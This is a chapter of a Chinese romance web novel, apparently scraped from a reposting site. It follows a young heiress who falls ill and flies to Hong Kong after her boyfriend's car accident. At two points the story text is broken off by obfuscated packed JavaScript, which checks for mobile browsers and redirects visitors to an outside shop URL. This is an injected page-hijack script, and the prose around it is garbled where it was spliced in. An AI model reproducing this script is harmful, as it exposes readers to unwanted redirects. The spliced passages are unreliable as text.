方协文说:“所以老天分配给每个人的东西都是一定的,它从你这拿走什么,就会以另外的形式补充回来。很多事不破不立,人长期在陷在一个环境中,就会变成温水里的青蛙,慢慢失去改变现状的勇气。” 小初挑挑眉,“我反正不会。” 方协文轻笑一声:“若是哪天你发现你那个很好很好的小余同学已经不适合你了,你能保证你及时转身吗?” 小初怔了怔,坦诚:“我还没想过,不过,应该吧。像您说的,这世上又不是只剩他一个好男人了,我何必在一棵树上吊死。” 方协文说:“那你这点像你妈。” 黄亦玫在一旁听出不对劲来了,没好气朝他胳膊拧了一下:“你们俩说话别带我行吗?再说她哪像我了,我明明是那种发现不合适可以离开很多次的人,好吗?” 方协文一秒就垂下了嘴角,“不老婆,你不是。” 黄亦玫说:“那你就大错特错了。” 小初嘴角一抽。 人为什么一定要没事就惹一下自己惹不起的人呢。 然后她又问:“刚刚您在采访中说的,和我妈领完结婚证去吃的汤饭在延大附近哪里啊,下回我去延吉好叫恩宇欧巴带我去吃。” 朴恩宇,小名宇宙,她姨婆的孙子,今年刚从延大毕业,现在算是家里民宿的主理人,两人每年假期都会碰面,关系从小到大一直都不错。 “那么多年了,店还在不在都不一定了。” 小初又想起件事来,“爸,您和文然阿姨在一个公司共事的时候私下关系一定很好吧?我听说他们结婚的时候您和妈妈还参加婚礼了。” “方太初,你今天话怎么这么多?” 方协文的态度突然变得很不耐烦,“工作一天了,能不能让人耳根清净一下?” “……”小初实在忍无可忍,“爸,您是不是更年期了,情绪这么不稳定?” 黄亦玫似笑非笑看了方协文一眼。 三人没有回他们位于朝阳的家,而是让司机直接开回了清华家属院。 姥姥姥爷说要给小初补一顿冬至的饺子。 自家包的饺子太好吃,小初一不小心吃撑了,又因为折腾了一整天实在太累了,回房间没一会儿她就昏昏沉沉睡着了。 生理期小腹隐隐下坠,她体质还可以,倒是从来都不痛经,就是第二天的出血量有点大,这一觉睡得有点久,等她半夜醒来上洗手间的时候,床单上已赫然一片很刺眼的红。 她跪在床上看着那个血迹发了好一会儿的呆,才意识到这边没有阿姨帮忙,她要自己动手洗床单。眼泪几乎是一秒就下来的,平时明明挺坚强的一个人,这一刻竟也有些脆弱。 她有些想不通,为什么科技已经这么发达了,人却还是突破不了基因锁,还是要浪费时间在这些琐事上…… 造物主太不公平。 同样是人,男人就要省去好多麻烦,又不用生孩子,又不用生理期,连第一次亲密接触时的疼痛都是由女人来承受的。 突然就有点厌男。 可有人偏这会儿自己撞到她的枪口上来。 余萧弋的微信跳出来,问她:【睡了吗?】 她完全不想搭理,把手机扔到一边先上了洗手间,回来又生了一会儿的气才回了他一个【没】字。 【在做什么?】 她一秒都没犹豫,就发了个【在讨厌你】出去。 没过三秒钟,对方的视频就进来了,小初睡了半宿的觉早把自己睡了个乱七八糟,本来是不想接的,可对方锲而不舍,一副她不接他就会一直打过来的架势,最后她只能认输。 “小姐,我怎么得罪你了。” 明明已经这么晚了,余萧弋却依然好看得过分,在看见他的那张脸的瞬间,小初就感觉自己身体深处突然一阵暖流,好多淤堵的情绪瞬间化开,好像也没那么生气了。 她这个看脸的毛病得改,必须得改。 “没怎么得罪。”小初依旧一副委屈模样,“就是睡到半夜,醒来发现床单被我弄脏了。” 余萧弋的瞳孔瞬间放大,反应了一会儿才明白她在说什么,不禁失笑,“就因为这个讨厌我?你确定这事和我有关系吗?” “是和你没关系,可一想到你就不用受这个罪,我就生气。” “你讲不讲道理啊。” “不讲。” “OK,不讲就不讲吧。”余萧弋轻笑着哄道,“你把摄像头转过去,我看看到底脏成什么样了。” 小初听话地翻转了摄像头,又翻转回来,沮丧地趴到了枕头上,“看见了吧?” “嗯,看见了。”余萧弋也学她趴在了枕头上,“那怎么办,要不我飞过去帮你洗啊?” “少说一些没办法实现的承诺。” “我说真的。” 小初说:“你滚。” “或者,我也可以有个别的办法让你很长一段时间都不用面对这件事,你要试试吗?” 小初瞬间明白了他在说什么,小腹处又一阵暖流,不禁骂他:“余萧弋你要死啊,再拿我开玩笑我回去揍你啊。” 他仍好脾气的,笑得促狭,“我的意思是,你回来搬过来和我一块住吧,后面再发生这样的情况,都由我来洗床单,这样你就不用浪费时间在这个上面了,你想的是什么?” 小初咬咬唇,不知道说什么,只能又骂了一句:“你滚。” 说完,她就要挂视频了。 余萧弋说:“别挂,你把你书架第二层那本《数学与艺术》拿过来,里面有惊喜。” “什么啊?”小初将信将疑地跳下地,没花什么功夫就找到了那本书,还没等她打开,一张被叠成心形的纸就从里面掉了出来,落在了桌面上。 她的心也随着那个声音空了一拍,然后很快她就反应了过来,“你上次来写的?” “嗯。” 小初打开。 上面是她再熟悉不过的字迹,行文格式也和每次他留给她的便签一致,很用心。 F Junior, 从没想过有天 我会这样明晃晃闯入你的领地 任你的气息包裹我 也将我自己的痕迹留存在这里 一切都很不真实 单是想象有天你发现这张纸条时的反应 我的心脏都一阵狂跳 如此笨拙和幼稚 连我自己都觉得不可思议 此时已过凌晨,外面风已停 而你在我身边睡得安静 幸福好像一下子变得很具体 晚安,我爱你 Yours Theo Yu “心情有没有好一点?”余萧弋在视频那头问道。 小初感动得有些说不出话,整个人都像掉进了温暖的泉水里,四肢百骸都很熨帖和舒服。 心情确实好多了。 “嗯。” 他笑,“那去睡觉吧,很晚了,明天不是还要上班吗?” 小初有些软弱,却也变得很温柔,“你呢,上班吗?” “不上啊,这边还是公共假期呢你忘了吗?我中午和铭仔阿骢他们约了饭,晚上回去陪爷爷奶奶。” 说完,他又加了句,“你别挂住我,照顾好你自己。” 这句话不知怎么有点突兀,小初本想说——谁要挂住你,但话到嘴边还是变成了,“我就要挂住你又怎样?” 他笑,突然靠近摄像头,眼中情绪蓦地被放大,“那我会好开心。” “那你就开心着去睡吧,晚安。” 小初恋恋不舍地按下挂断按钮,最后也没有下定决心起来洗床单,并在犹豫不决中再次沉沉睡去,直到第二天早晨起来,怀里还抱着他给她留的信笺。 一颗心很静,像是浸过冰糖梨水,再也没有了任何烦躁之意。 小初推门出去的时候,方协文已经换好了衣服坐在餐厅陪姥姥姥爷吃早餐,唯独不见黄亦玫。 一见她,她爸的眉头就蹙了起来,“方太初,你就穿这个?” 小初低头看了看自己身上的粗针黑色翻领毛衣和卡其色长裤,一脸不解,“我穿这个怎么了?这多学院啊,亦方一群工程师,我穿得大小姐似的,更不合适吧?” 方协文说:“提前一个星期人事部就通知他们今天穿正装了。” “……”小初无语,“您这样给人负担多大啊,搞这些面子工程干什么?我不管我就要穿这个,这个才叫专业,一看就有文化,懂技术。” “玫瑰!”方协文起身走到卧室门口,“你能不能管管方太初,今天要拍照,到时候就她最邋遢。” 小初说:“我又不是去相亲。” 黄亦玫在里面也很不耐烦,“方协文我要睡觉,你能不能不要烦我。” 他呼吸一滞,只能帮人家轻轻掩上门又退了回来。 小初疑惑,“我妈不去吗?” “她昨天累一天了,今天就不折腾她了。” “爸,我昨天也累一天了。” “你不累,我知道。” “……” 姥姥说:“我觉得小初这身衣服还不错,看着很舒服,文文静静的。” 小初说:“就是。” 方协文用力揪了一块烧饼喂到了嘴里,没再吭声。 小初一边吃饭一边浏览了一下短视频。 昨天那档访谈栏目的剪辑师工作效率很高,一大早就在官方账号上传了一条预告片,片子里好多物料小初在现场都没有看到,显然是后期双方工作人员对接的,就比如她爸妈特意提到的他们在延大附近那家汤饭店拍的合影。 照片中的两人都穿着白衬衫,脸上的笑容几分纯真几分质朴,就像余萧弋说的,幸福得很具体。 不得不承认,她爸妈年轻时候真的是男清俊女明艳,配得不得了。 小初点进去的时候,视频点赞量就已经超过三万了。评论区的网友说什么的都有,但收到小红心和回复比较多的,都是在讨论方太太的颜值。 惊为天人。 这是被提及次数最多的描述词。 也有人说,主持人说得很对,也只有曹植的《洛神赋》,才能将方太太的美用语言形容出来,像他们没有文化的,就只想说:“之前到底是谁在造方总的谣!那些绯闻女主加一块和方太太都没有在一个维度上好不好!” 更何况两人之间还有那么优秀的一个女儿! 很多人表示,之前在港版新闻上看到的方小姐也没那么漂亮啊,怎么一回内地主流媒体,气质马上就不一样了呢? 跟抽了芯换了个灵魂似的。 有人反驳,【人家本来就是高材生,又生在这样顶富的人家,气质和谈吐怎么可能会差,是港媒没把咱们北京姑娘的大气从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说还好,也就一个小时。 小初愣了愣,随即又笑了,也是,北京通勤,从哪到哪还不得个一个小时。 她拍拍他的肩,“辛苦你了。”又说,“回头你可以申请个宿舍,就住在附近好了,也别折腾了。” 梁培风无所谓地点了点头,“没事,我看公司有网球场,改天切磋。” 小初说没问题。 方协文从人事部门手中接过印着小初大名的【001】号工牌,并亲自为她挂在脖子上,眼神欣慰至极,“怎么样方太初,这里最终呈现出来的效果,和你看图纸时候想的一样吗?” 小初无比感动,眼底闪着细碎的光,声音也有点低哑,“比我想象的还要好很多。” 方协文点点头,“走,爸爸亲自带你到里面转转。”又回头叫上梁培风,“来,培风也一起。” 两人都说,“好。” 工程师们果然都穿了正装。 虽然看着确实很有排面,但小初总觉得这样未免有点太浮夸,所以她坚持初心,还是穿了早晨那身衣服,只是稍微化了点淡妆,让自己气色看着好了一点。 这边很多都是新同事,之前都没见过小初。大家听说她来了也都很好奇,各种含义的目光落在她脸上,小初被看得发窘,但也只能生扛了下来,只是保持微笑实在是个体力活,她感觉她脸都笑僵了。 最后就连梁培风都说,“别笑了方太初,你现在已经笑比哭还难看了。” 小初差点咬碎后槽牙,声音简直不像从她口中发出的,“我打死你。” 航天局那边的项目对接人也很快到了现场,一行八九个人,来了三辆车。 肖小雨一一帮双方做了介绍。可小初直到最后也没太记住那些人都叫什么名字,又分别负责什么业务,除了其中一个,名字叫赵承钰,人很年轻,职位应该不算高,所以对接项目这样的琐事就交给了他。 肖小雨建了个群,把两方的人都拉了进来。 小初在群里的昵称就是她本名方太初。其他人则五花八门,除了前面各自单位名称的前缀是统一格式,都没有本名的,就连肖小雨,都只是亦方后面一个简单的肖字。 只有他跟她一样,单位前缀后明晃晃就是他的大名,比她还夸张的是,他就连头像也是他本人照片,一副从里到外对自己都很满意的样子。 单是挂牌和签约仪式就搞了快一上午,中间又是各种领导和高管讲话,现场还来了不少媒体帮忙宣传造势,等到最后仪式结束的时候,小初感觉她的双腿都不是自己的了,小腹更是下坠得厉害,要不是全程都有有摄像机怼着她的脸拍,她估计她表情都快维持不住了。 方协文倒是还挺从容的,脸上一点疲惫之色都没有,果然搞事业的人个个都是能量怪,小初瞬间想起了七十几岁还声音洪亮、头脑清楚将整个家族的产业都紧紧抓在自己手中的余绍鸿。 他们这样的人,估计都能活到一百岁,并且一百岁了还能在董事会上大声骂人。 她还得修炼啊。 仪式结束大家就在亦方的食堂简单吃了顿午餐,规格按照文件标准准备的,肯定不算太高,但因为双方大多都是技术人员,席间的气氛还算融洽。 收到余萧弋的消息的时候,小初正坐她爸旁边听大家聊天呢,他们聊得挺热络,她却快坐不住凳子了,刚好借着接他电话的理由逃出来透了透风。 余萧弋说:【方小姐今天又幸福了。】 小初不明所以,【什么意思?】 她肚子快难受死了,她不知他口中的幸福从何而来。 对方马上甩过来一张照片,那张照片里的她被围绕在一群穿正装的男女中间,笑得无比灿烂,而且就因为她穿的跟大家都不一样,反而衬得她最松弛。 航天局那帮人倒是没有西装革履,他们穿的是他们单位的蓝色工作服,有点像行政夹克到又不太一样,不过,还是蛮帅的。 但即便如此,她也没看出这张照片和他所说的幸福有什么关系。 【这满屏幕的,窄版领带。尤其你身边那个穿蓝色衣服那个男人是谁啊,为什么肢体语言是微微偏向你的?】 小初呼吸滞涩了一下,很有些无语,【哥哥,你还关注我们内地新闻呢?那只是个合作伙伴,什么肢体语言,我跟他半句话都没说呢好不好。】 余萧弋说:【港媒转发了,你猜他们配的什么标题。】 小初沉思了一下,【该不会是夸你余少眼光好,找了我这么个耀眼夺目的女朋友吧?或者,还提到了杨敏之?】 【方小姐果然聪明。】 小初笑,【那你还有什么不满意。】 余萧弋很幽怨,【我本来是满意的,结果点开照片瞬间心脏就中了一箭,BB你身边太多优秀的男人,我好有危机感。还有,你看没看见,短视频平台好多网友都在劝你和我分手呢。】 小初安慰,【放心,我从小就不听劝。】 【这么执着吗?】 【只对你。】 几千公里之外的余萧弋目光在这三个字上凝了很久,心上刚刚中的那一箭之伤很快就有了愈合的趋势。 偏一旁的铭仔不知所谓倚了过来,喝多了酒的他在看到他手机折叠屏另外半边的照片瞬间就来了精神,口无遮拦道:“方太初旁边那男的谁啊!两人看着怎么这么登对?” 余萧弋心上的伤口忽地一下就扩大到了整个心脏,痛得他不由自主蹙起了眉。 然后他目光微凉地看了铭仔半晌,都没想好骂他句什么最解气。 最后只从牙缝里挤出了两个字。 “你滚。” “……” 阿骢也凑了过来,在他耳边低语了两句。 余萧弋一字一句仔细听着,缓缓点了点头。 整个桌子就他们俩没喝酒,那是因为他们一会还有重要的事情要去做。 铭仔大声抗议,“你们俩有什么话不能说出来给大家都听听啊?” 余萧弋没答他,只是起身嘱咐了一句池咏珊,“别让他喝多,你们都早点回家。” 池咏珊点头,眼神沉静且深邃,“你们一定小心。” “好。” * 小初得到消息已是两天后。 彼时她刚拍完那条智能辅助机器人的广告赶回家里,水都还没喝上一口。 铭仔的电话极为突兀,她没存他号码,一开始还以为是哪个搞诈骗的。 因为他一开口就是:“方太初,Theo出了车祸已经在医院躺了两天了你知道吗?” “你说什么?” 小初身形一晃,差点从楼梯上滚下去。幸好她反应还算快,及时抓住了扶手。 “你胡说。”她跃下最后一级台阶,稳稳站住。 明明这两天,他都还有回消息给她的。 她又问:“你是谁?从哪里知道的我电话号码?” “我!林铭锵!”铭仔大呼,“我也说不清现在到底是什么情况,因为他们家人已经不许任何外人见他。求你,我求你。”他快要哭了,“速速返港,确认他还安全。” 小初的手机应声而落,下一秒,她的人也跟着跌了下去,等家里阿姨发现的时候,她已经不知道在那里晕了多久了。 94.第 94 章 世界突然变得很嘈杂,有人在呼喊,楼梯在震颤,不知什么玻璃制品落了地 ,一阵短促而锐利的破空声。 即便如此,小初还是睁不开眼,仿佛整个感官都被人用胶水封在了身体里,变成了一团颜色不明的混沌。 “小初,小初?你别吓爸爸妈妈!” 黄亦玫的声音恍如隔世般传来,听上去极为焦灼和担心,和印象中情绪克制的妈妈判若两人。 小初心里一阵难过,理智告诉她必须马上醒过来,身体却持不同意见,一直在强迫她的大脑关机。 “好累啊。” “就这么休息一下没关系的。” “这世界又不是没了你就停转了。” “别把自己看得那么重要。” 另一个声音和理智叫嚣着。 确实好累啊。 刚从影棚出来,上车还没到五分钟,她就倚在后座睡着了。一路上车子走走停停快一个小时,她竟然一点感觉都没有。 到了家门口,司机又喊了半天,她才缓缓睁开眼,懵懵然下了车。 北京的气温比香港要低三十度,车门一开,寒气就顺着羽绒服的下摆钻了进来,冻得她脊背一僵。 回京之前的半个月,为了那篇反人类的数学论文,她已经在自习室断断续续熬过好几个通宵了,回京之后日程又被她爸安排得这么紧,再加上生理期,身体其实早就给她发出过预警信号,只是她以为自己还能撑,就没太在意。 虽然没有人要求,但从小,她就是个不肯服输更不愿意自己给别人添麻烦的人。 记得很小的时候有一次她生病,半夜发烧难受一直哭着喊着要爸爸,本是一件不起眼至极的小事,他爸妈却因此大吵一架。 她爸指责她妈光顾着自己谈恋爱没照顾好她,她妈倒是没有直接说她爸什么,但有时候无视才是最锋利的剑,只字不提却又字字都在宣告对方的不可理喻。 终于把那个在爱情中一向不理智的男人逼得发了疯。 最后的结果就是她爸立马就飞来北京把她接回了上海,无论如何都要跟她妈重新谈她的抚养权。 舅舅因此还跑去亦方的总部大闹了一场,两人多年积怨终于爆发,大打出手后甚至惊动了警方。 他们以为她什么都不懂,只要给她买一顿麦当劳或者再多加两个她喜欢的玩具,再欲盖弥彰强调一下大家都非常爱她,就可以将所有的荒谬和不体面一笔带过。 殊不知,她早在察言观色中推断出了一切。 从那以后,无论身体多难受,她都不肯再小题大做。 父母因她吵架,对她而言是比生病还要可怕一万倍的事。 她也因此十分珍惜自己,尽量不让自己出状况,这个家多年以来一直处于一种很微妙的平衡之中,只有她好好的,这个平衡才不会被打破。 本质上,她就不相信什么破镜重圆,更不相信这世上有什么东西可以修补人与人之间的感情裂痕。 但她也有她的私心,即便这样,她还是不止一次幻想过他们可以重新在一起,永远陪在她身边。 六年前,她的幻想终于成了真。 然后她又很快陷入另一种不安,很怕他们因为什么不可调和的观念冲突再次分道扬镳。 答应和余萧弋在一起,除了真的很喜欢他,还有个很重要的原因,就是她已经厌倦被动牵扯在父母的羁绊之中,只想把更多的精力用于专注自我,真正经历一次成长的阵痛,然后新生。 从此之后,她只是她。 懂得爱,理解分别,接受背叛,不会再带着审判的目光去看这个不完美的世界,更不再是任何人为了证明自己至死不渝的爱情争来抢去的工具。 可结果怎么和她预想的不一样? 作为一个体验派,她不是应该永远理智清醒,在爱情中来去自如吗?怎么可以只是听到一个未经证实的消息,就痛成这样? 想见他。 从没有像此刻这样想见他。 如果说很多东西她之前尚有犹疑,这一刻也终于笃定。 方协文的声音也很快加入了进来:“方太初,方太初?” 下一秒,小初就感觉自己的身体腾了空,跌入她爸温暖而充满安全感的怀抱里,隔着一层薄薄的肌肉和骨骼,她听到的是和她一样似乎要挣脱什么束缚,乱到极致的一阵心跳。 他在关心她,就像她也在关心另外一个人。 然后她又听见他大声喊司机备车,黄亦玫有些哽咽:“方师兄……” “嘘,别吵架。”小初虚弱出声,倏然睁开眼。 至少,别为我吵架。 她以为自己睁开眼看到的会是一个剑拔弩张的画面,妈妈指责着爸爸:“都是你,非给她安排这么多工作,否则她怎么可能生病?” 可她错了,黄亦玫只是很轻地拍了拍方协文的肩膀,“方师兄,你别着急,她只是有些发烧,大概是着凉了。” 方协文也没有发脾气,虽然神色依然很紧张,但还是安慰地看了老婆一眼:“外面凉,你去多穿一件衣服,我让司机等你几分钟。” 顿了顿,他又问:“刚才是花瓶碎了了吗?有没有伤到自己?” “没有,只是手滑了一下,我穿了很厚的拖鞋,碎片也没有飞溅到身上。” 方协文点点头,声音逐渐哽咽,“对不起啊玫瑰,我不该这么折腾孩子的。我太想把一切都亲手教给她了,却忘了她也才二十岁,还是爱吃爱玩爱笑爱撒娇的年纪。就因为她总是太懂事,从来不让人操心,才让我产生了她能扛住一切的错觉。我真不是个好爸爸,对不起,真的对不起。” 黄亦玫神色认真,“你这说的什么话,孩子又不是我一个人的,你难道就不心疼?” 方协文没说话了。 小初本没有想哭,可是看到这个画面却也有些忍不住,没有人知道,这一幕,她等了多少年。 父母的相处模式终于成了她幻想中的样子,这怎么能不让她感到安慰? 神志终于恢复了一点清明,她再次开口,也将她父母的目光吸引了过来,“我不去医院,爸爸。” 她的声音很坚定,尽管个别字的发音还有些含糊不清,“我要飞香港,就今晚,无论什么航班,无论什么舱位。” “你疯了啊,方太初?”方协文蹙了蹙眉,似是不敢相信自己听到了什么,“你生病了,体温四十度,你觉得我和你妈妈会允许你拖着这样的身体去机场赶航班?我话跟你说在前面,你想也不要想。” “可我必须得去。”小初挣扎着扶着她爸的肩膀将自己的双脚落在地上,眼底的神色近乎偏执,“我吃退烧药,爸爸,我也可以吃抗生素,吃了药我很快就可以退烧,也很快就可以痊愈,没有人会因为小感冒而死,我保证,我会很快好起来,绝不叫您和妈妈担心。” 方协文和黄亦玫对视了一眼,终于意识到了事情的严重性,“发生什么事了,姓余那小子,做了什么对不起你的事?他……要和你分手?” 除了恐惧失去,他们想象不出一个人不顾一切也要奔向另一个人的理由。 “没有,他很好,绝不会做任何对不起我的事,至少现阶段。”小初的眼泪再也抑制不住,“他出车祸了。爸,妈,算我求你们。” 两人都愣住。 “车祸?”黄亦玫大惊失色。 方协文也说:“那你应该先确认他现在是什么情况啊,你等下,我给余韬韬打个电话,先明确一下事情的严重性,然后我们再做决定。” 他拍拍小初的肩膀,“你别着急,真有那个需要,爸爸保证你今晚就能抵达香港,当然,我们谁都不希望那个情况发生。” “不用。”小初抓住她爸的手臂,“已经不是今天发生的事,我却一点风声都没有得到,显然,他并不想我担心,而且他这两天还都有回消息给我,这就说明……” 她的眼泪汹涌不止。 方协文接过话去:“说明他就没什么大事。” “不是,说明事情有点复杂,余家还特地为此封锁了消息,他现在承受的一定是身体和精神的双重折磨,所以,我必须得过去陪他。您不用打电话,因为无论结果什么样,哪怕他只是伤了几根头发丝,我也要亲眼看见,不然,谁说什么我都不会相信的。” 小初说完也不管方协文怎么想,直接转向黄亦玫,“妈,给我药,我要吃药。” 黄亦玫叹了口气,接过阿姨递过来的湿毛巾,心疼地帮她擦了擦脸,“小初,你冷静,越是这个时候,越要冷静。冲动解决不了问题,更何况你现在还在生病,你也不想他在这个时候还要反过来为你担心吧?” 小初怔了怔。 黄亦玫顺势牵着她的手将她按坐在沙发上,语气温柔,“稍安勿躁。先试着联系一下他,看看他怎么说,如果前两天他都能回信息,那么今天也能,现在时间还很早。”黄亦玫看看手表,“下午一点钟,香港人应该没有午睡的习惯吧?” 小初这次没有反对。 室内温度二十六摄氏度,她却冷得整个人都在颤抖,不知是因为担心,还是因为发烧。 她没有发文字,而是直接打了视频过去。 直到铃声完整地响过三遍,对方才接。接的人却不是余萧弋,而是萧文然。 对方所处的环境很陌生,不像是家里,但也不像医院。 视频一接通,萧文然就露出了她最熟悉的那种大气亲和的笑容,只是今天,或许是小初的想象力在作祟,她总觉得她并不是真的开心。 “文然阿姨。”小初发觉自己并没有露出意外神色,仿佛她一开始就知道出现在摄像头里的人不会是他似的,她努力勾了勾唇,却不知道怎么有点想咳嗽,但她还是用力压制住了喉咙里的痒意,尽量装出一副茫然无知的样子。 他们不希望她知道,那她就不知道吧。 “呀,小方太初。”萧文然像平常那样眨了眨眼:“怎么样,北京冷不冷?家里都好吗?你是31号回来没错吧,到时候记得跟Theo一块回家里吃饭,我们一起跨年,你想吃什么?中菜还是西菜?我好提前叫人准备。或许,我们也可以一起包饺子,外公外婆都来了,气氛一定很热闹。” 她的话多得有些欲盖弥彰。 一阵寒暄过后,小初还是直接问出了口,“文然阿姨,Theo呢,手机怎么没带在身边?” 萧文然的神情有一瞬间的不自然,但很快恢复如常,“他下楼去了,等回来我就让他联系你,好不好?” 小初说好,又强撑着和她说了再见,连她自己都意外,她竟还能微笑。 视频一挂断,她就给池咏珊发了消息过去:【Theo跟你们在一块吗,电话联系不上。】 那边几乎是秒回,也没说他们到底是不是在一块,只说,【他可能没听见,我帮忙跟他讲一声。】 【多谢。】 小初的唇线瞬间绷直,心中已有答案。 好,他这是联合了全世界打定主意瞒着她一个人了是吧。 黄亦玫沉思了一下:“这里面看着是有点什么事。” 方协文看了看小初的脸色,似是终于下定了决心,“方太初,你怎么说?” 小初抬起头来,再看向她爸,眼睫已被泪水打湿。 目光对视的瞬间,方协文跟着红了眼,她这个样子,哪里半点像他,分明是她妈妈年轻时神态的复刻版,好吗? 受了委屈都是那么微微咬着唇,一双灵动出尘的眼睛似蹙非蹙的,只是站在那里,就能让人恨不得将全世界都双手奉上。 他此生已别无所求,只希望她这辈子所遇都是良人,永远都不会被辜负。 “就那么爱?”方协文没好气道,“听萧文然那语气,他就算有事也不会是什么大事,你何必……” “对不起爸,我得回去。” 小初打断他,不再多言,径直拿过手机,开始看机票信息。 黄亦玫强忍着心底的酸涩,喊阿姨把姜汤端过来,哄道,“先把这个喝了。” 小初向来讨厌姜味,但今天难得顺从,一口气全喝了。 黄亦玫又说:“妈妈陪你一块去。” “不用,妈,我真心的,你去了我会顾忌太多,有曹旸姐陪我就好。” 方协文隔空点了点小初,叹口气,“也是个一条路走到黑的主。算了,你别看机票了,爸爸给你想想办法。” 小初抬头,疑惑道,“什么办法?” 家里没有私人飞机,她知道。 她爸是个高效务实的人,私人飞机养护成本太高,每次飞之前还要提前很久申请航线,有钱有闲、出行时间随意的明星富豪就算了,对商务人士而言其实并没有那么方便。 方协文说:“你别管了,先把药吃上,看看烧能不能退下来。” 黄亦玫心疼至极,缓缓拉过小初的手,神色逐渐凝重,“方太初。” 小初愣了愣。跟她爸不一样,她妈妈一般很少喊她的全名。 “你这个眩晕症,本来是必须要先去医院的,我和爸爸之所以纵容你,是因为我们也都年轻过,知道这个时候任凭我们说什么,你都不会听的。我们理解你,也很欣慰你待人如此炽热和真诚,更给你软弱和痛苦的权利,无论是之前的叶同学,还是现在的余同学。因为这些都是你成长的必经之路。但你要记住,人爱别人的前提,是要绝对地爱自己,珍惜自己,一个在爱情里失去自我的人,总有一天会跌进万劫不复的。就算还能从深渊里爬出来,也会元气大伤,至于这辈子能不能再康复,就全看命了。” 小初承认,这一刻她的心底是愧疚和感动的,让父母操心不是她本意,但所有复杂的情绪糅杂在一起,她竟不知该作何反应了。 一句话都说不出了。 “但是我们也很高兴,你的感情终于从爸爸妈妈对你的爱中生根发芽,向阳而生开出了属于你自己的花。你长大了,变得坚韧且有担当,在见惯浮华之后,还能低下头看见挣扎的弱者,从不以对方的出身,背景和金钱地位来交朋友,很了不起。小方同学,你有一个很闪光的灵魂,完全是我们的骄傲。你就继续一路生花好了,我和爸爸将永远是你的沃土,滋养你,支持你,保护你。” “妈!”小初酸涩至极,忍了许久的泪水终于决了堤,她扑进黄亦玫怀里,半晌都没有再出来。 等她哭得差不多了,方协文才红着眼接道,“妈妈的意思是,你爱别人可以,迷失绝对不行,记住没?” “记住啦!”小初哽咽着,“我又不是个傻子!” 方协文冷哼,“你最好不是。” 小初嘴硬,“是也是像您。” 黄亦玫笑,温柔帮她擦去眼泪,“不许说爸爸。现在知道你那个闪闪发光的灵魂像谁了吧,你现在关心弱者,或许还动不到你的根本,他当年可是在自身都难保的情况下,还能照顾到比他更艰难的人呢。不然你以为周叔叔为什么二十几年都唯你爸爸马首是瞻?” 对此小初不置可否。 她妈妈总是这样,即便自己也拥有着诸多令人难以企及的美好品质,却从不吝啬于对伴侣的赞美。 不然,她爸怎么会被她驯得服服帖帖的,虽然她未必是有意而为之,但将心比心,谁又能抵挡这种级别的美人满心满眼的崇拜和认可呢。 “那天活动我看见周叔叔了,他现在胖得像个煤气罐。”小初故意说道。 这次就连方协文都忍俊不禁了,“没大没小。” 半个小时后,余萧弋就给她回了视频过来,解释说他刚刚出去了,忘记带电话。 和萧文然那套说辞一样。 在手机自带的美颜滤镜下,他的状态并未露出什么破绽,但小初眼尖,还是捕捉了他额角处刻意用头发遮盖住的一小块伤口,尽管他一直很注意不让那个角度进入摄像头。 【BB你有没有挂住我?】他最后还是不小心流露出了一丝脆弱,【还好,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970178|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有两天你就回来了。】 小初没答,只怔怔看着他,所有的心疼和难过都化成了一种很难用言语形容的心情。 某种程度上他们真的好像,可是,如果两人都是那种不喜欢倾诉委屈和心底秘密的人,这段感情的出口又在哪里呢? 从认识以来,都是他在不断“给”她,给了很多,她也几乎照单全收,直至现在,已经成了她的一种习惯。 这完全是失衡和错位的。 最终,她也没告诉他她今晚会飞过去陪他的事,因为从今天开始,她也想多“给”他一点,并会驯化他开口朝她“要”。 她希望两人之间的感情是相互的,也只有这样的感情才会越来越紧密,并真的一路生花。 两个小时后,小初终于顺利登上了她爸一个朋友飞往香港的私人飞机。提前申请好的航线,临时增加乘客名单倒是还好操作。 除了还有点低烧,她倒是没出现其他症状,但她爸不放心,还是派了个私人医生一同前往,以便路上密切关注她的状况。 下了飞机,她就直奔铭仔所说的医院,刚好赶在探访时间截止之前上了楼。 不出所料,他果然住的VIP病房,且被家里明确禁止来客探访。 小初无法,只能打电话给萧文然。 对方对她几小时之内奔赴两千多公里只为确认她儿子一切安好的行为讶然到说不出话来,半晌,才哽咽道,“小初,Theo没有爱错人,谢谢你,阿姨真的谢谢你,如此……爱他。” 小初的目光落在医院惨淡的廊灯上,“文然阿姨,我早说了,我所做的一切都是因为哥哥本来就是很好很好的人,是您生得好,教得好才对。” 萧文然破涕为笑,“好啦,你快上楼和他互诉衷肠去吧,对我,就不用了。Theo一定会被你的出现惊喜到的。” “所以他没什么事吧?” “身体是没什么事,只是有些轻微挫伤,今天下午之所以不敢跟你说,是怕你担心,没想到还是被你知道了。” 小初说她能理解。 不,其实她一点都不能理解,并打算一会儿上去就把那个有话不能明说的罪魁祸首揍一顿。 但对人家妈妈,算了,她当然得表现得大度点。 曹旸被她留在外面等。 她也想给他一个惊喜。 只是她实在没想到,余萧弋的病房里竟还有别人,而且两人之间的气氛还有点奇怪。 透过门未被掩好的缝隙,她看见的刚好是余珺彦垂眼看着病床方向的一张完美侧颜,嘴角带着一点点笑意,但未说话。 最后还是余萧弋先开了口,神色里都是倦怠和厌烦,“现在,照片版权可以给我了吧?” “当然。”余珺彦似笑非笑,从西裤口袋里掏出一个小小的U盘,朝余萧弋抛过去,“物归原主。” 余萧弋单手抓住。 小初发现他中午被头发遮住的伤口已经规规矩矩包上了纱布,人看着倒是没什么大碍。 只是,到底什么东西这么重要,非在这种场合交接? “你得保证。”余萧弋一字一顿,“这个东西你手里的部分已经全部销毁,并且永远都不会给方太初看到。” 